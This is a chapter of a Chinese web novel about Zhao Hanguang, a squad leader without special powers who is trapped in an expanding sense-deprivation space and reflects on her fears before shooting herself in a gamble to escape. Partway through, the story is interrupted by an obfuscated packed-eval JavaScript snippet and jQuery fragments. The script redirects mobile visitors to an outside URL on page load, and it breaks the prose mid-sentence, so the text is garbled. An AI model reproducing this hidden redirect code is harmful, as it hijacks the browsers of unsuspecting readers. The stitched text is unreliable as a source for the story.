15. 我不是精神病人04
作品:《无限副本里的888种死法》 再次握紧颤抖的双拳时,背后的墙又往外挪动了。
没事的,只要还能动,就必须行动下去。于是赵涵光一遍遍地摸,一遍遍地找出口,却又一遍遍地毫无所获,只能回到墙角歇息。
她感觉不到疲惫或疼痛,但双手已经起皮、渗血,眼前甚至出现了走马灯。
她好像看到了队友们、薄心长官,还有金晟夕,大家都很安全呢。
也是,毕竟她是队里唯一一个没有异能的人。
其他人各自拥有能够脱离这个空间的能力;而金晟夕,哪怕没有异能也能成功逃脱。
第一个异能者究竟是谁,赵涵光只在局里听过一些传言,说是薄晴长官,也有人提到金晟夕。
后来有辟谣说她的不死不老之身并不属于异能。可如果不是异能,那又算什么?
赵涵光觉得是天赋,是上天的恩赐,赐她是永远的胜者,让她注定成为战斗天才。
而天才这个词,赵涵光从小就知与自己无关,因她的体格偏小。
为了在格斗考核中拿到合格分,她花了比别人更多的时间、更多次被打倒后爬起来的刻苦训练。即便如此,她也只能站在高分线边缘。而她的同事们队友们,从一开始就在这条线之上。
赵涵光不是没有考虑过改造身体。
在这个技术高度成熟的时代,一针昂贵的基因改造剂足以弥补先天不足;或者更彻底一些,直接装上机械义肢,把身上不满意的部位一一替换掉。
只要愿意付出代价,变强并不困难。
但这些改造只能让她变得比原来的自己更好,不能让她变得比别人更强。
因为无论是针剂还是义肢,都是在原有基础上的强化,所以强化的上限取决于基础本身,基础低的人,提升空间也低。
她可以去改造,别人也可以,而这个别人本身的机能就已比她强大数倍。
更糟的是,她和安防局里的大多数人不同,没能觉醒出异能。
她尝试过所有被允许的方法,向先天拥有异能的人请教,向后天觉醒的队员询问技巧。
结果都徒劳无功。
“也许,我就是那种永远不会觉醒异能的人。”
在意识到这点后,她确实沮丧过。但即便如此,她从没想过放弃当一名战士。
第一个带领她的队长曾这样安慰她:“打败敌人的办法,又不是只有正面搏斗这一种。”
赵涵光认同这句话,也正是靠着它才能一路坚持下来。只是她心里清楚,这句话并不只是鼓励,它同时也是一种妥协,是叫她要去承认自身的缺陷。
队长对她尽心尽力,教给她许多在战场上取胜的手段,其中很大一部分并不依赖力量,而依赖智慧。
后来,她凭借一次次并不被叫好的战功走上了队长的位置。而她的队长已进入管理层,不再亲自踏上战场。
队长没有表现出喜悦,只沉默了一会儿,最终还是叹气,直白地警告她:如果继续上战场,没有异能的她随时会丧命。
丧命。
她害怕吗?
当然。
一年前,她本该随薄晴长官一同进入那个S+级异象区,只是那天她被临时调往另一项任务。等她完成任务返回,才得知薄晴长官及其率领的小队无一生还。
而她的第一反应居然是庆幸。
庆幸出了别的任务,庆幸自己还活着。
可下一秒这些念头就像卡在喉咙里的异物,让她感到窒息。
她无法理解自己怎么能在听到这个消息的第一时间先感到庆幸,而不是为长官、为那支全军覆没的队伍感到悲伤。
更何况,她是特战组的一员,是受训时被反复告知要冲在最前线、在必要时以命换命的战士。
一个战士,怎可以庆幸自己没有上战场?
也是从那一刻起,赵涵光开始怀疑自己算不算一名真正的战士。
因为真正的战士不应该有如此懦弱的想法,所以,她需要做出改变。
自此之后,队友们都说她变了。
她变得对自己更加苛刻,训练永远比别人多留几轮,出任务也更加积极。她逼迫自己向前,用偏执激进的方式抹杀那个软弱的自己。
体格小、基因差、没有异能,都不该成为恐惧的借口。
然而,每当她靠近异象区,哪怕只是一个D级异象区,她的双手仍会发颤。
包括在踏入这个004号异象区之前,那种熟悉的恐惧立马被唤起。
赵涵光记得那两名实习生在复述经过时,恐惧也并未消散。毕竟每经过一次回忆,被追问一次细节,都是一次重返现场,仿佛那场噩梦仍伏在他们身后。可如此恐惧的他们,在提到金晟夕的名字时,脸上立即绽放出笑容。
事实上她也是如此。
薄心长官下令往前冲的那一刻,她明明感到全身在战栗,可看到金晟夕还没等命令说完,就已冲进异象区时,她一下子就不紧张了。
金晟夕是这个队伍里,不,是这个世界上唯一一个解决过异象区的人,那张脸上看不到任何犹疑或畏缩的表情,只有无所顾忌的笑意与自信。
真好。
真强。
真想像她一样。
可赵涵光很清楚,自己不是金晟夕。
别说一张无畏的笑脸了,自从世界变成现在这副鬼样子,她就没再真正放松地笑过。
“队长,你的肩膀太紧了。”
梁双杰的推拿手法连局里的医生都赞不绝口,不少人也都受过他的照顾。轮到她时,他就发现队长明明已经做过拉伸,可肌肉依旧紧绷。
赵涵光知道这不是身体的问题。警惕、预判、计算、随时准备应对最坏的结果,这些念头在脑子里昼夜不息地运转着,久而久之身体才一直保持戒备状态。
她没有解释,因为不想放松,更因为只有如此,才能让自己在关键时刻比别人更敏锐,也更快抓住胜机。
这是她的策略。
所以与其他队伍不同,她取胜从不正面硬刚,而是用婉转的路径完成任务。
“有点投机取巧啊。”
每次回到局里,她总能听到类似的讥讽。可她不在乎。
能从战场上全员活着回来,这本身就是荣耀。
安防局大厅的荣誉榜上,她的名字长期位列第一,而那是她带着队员们一次次走出任务区留下的战果。
当然,也正因为她的作战方式,不得已会去出一些令人反感的任务,她也都照样完成。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134055|196138||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这自然会招来更强烈的不满,毕竟所谓正义之士都认为那很肮脏,都觉得她脸都不要了。
“队长,要我去教训他们吗?”
李逸向来厌恶这些议论声,而他出手迅猛,让人无知无觉,正适合做这种偷偷警告别人的事。
可她只是笑了笑,拒绝了。
他以为队长会生气,至少会感到不快。
可事实上,每当赵涵光坐在会议桌前,对上那些资历更老的队长投来的轻蔑目光时,她心情总是很好。
因为她很清楚,无论是什么任务,这些人都没能做得比她更好。
就算对她心存不满,也无法否认她的战绩。
所以她总会抬起头回望众人,神情平静地对他们微笑。她向来不擅长微笑,可在这种时刻她非常乐意笑,因为由衷地感到愉悦。
而且在会议上,她还会被点名分享作战策略。每一次陈述完毕,她都能在那群粗犷固执的面孔上,看见恍然大悟和隐含钦佩的神情。
瞧,这就是她的智慧战胜力量的局面。
她或许始终无法融入队长之间的圈子,但并不会因此感到遗憾。她很清楚,自己真正需要的是队员。
队员们信任她的决策,也愿意在关键时刻将性命交到她手中。没有队员,她无法获得荣誉第一,无法拥有会议桌前的话语权。所以,她不能放弃,她必须出去!
想到这里,原本压驼了背的绝望迅速退去,目光随之变得锋利,大脑正在恢复高速运转的状态。
赵涵光开始理性审视自身处境。
第一,她正被困在一个类似感官剥夺的空间里,触觉还在,其余感知全部失效。
第二,这个空间会无规律地持续扩张,目前尚未发现出口。
第三,对空间的攻击会反弹到自身并受到程度更重的伤。
……
想到这里,她突然灵光一闪。
她回想脑海里计算过的数字,确认无误后,起身去摸索墙面,碰到后又往回走了好几步,停下站稳,深吸一口气,取出手枪,检查子弹是否已上膛,而后握紧,抬起枪口对准自己。
她要杀了自己?
在扣下扳机前,赵涵光仍在思考这个方案是否可行。
应该可行。
可要是判断出了差错呢?
她会落得什么下场?也许是慢慢地死去吧。
思及此,她忽然自嘲一笑:“这大概是我做过最愚蠢的决策。”
下一秒,她听不见的枪声在房间里响起。
砰、砰。
两声之后,一切归于寂静。
晕倒前,赵涵光在想队员们现在怎么样了。
李逸总有些毛躁,希望他能冷静些使用异能;梁双杰这个看似粗枝大叶的男人,明明没有得到解释,心思却很细腻地对她说:“队长,你可以允许自己在休息的时候放松的。因为,我们都在。”
他们在哪?他们应该没事吧?虽然他们都有异能,可万一异能在异象区里不起作用怎么办?
没事的,有长官在,还有金晟夕在。
她会救出所有人。
在彻底失去知觉前,赵涵光忽然在想自己是不是也在等她来救?
呵,真脆弱啊我。

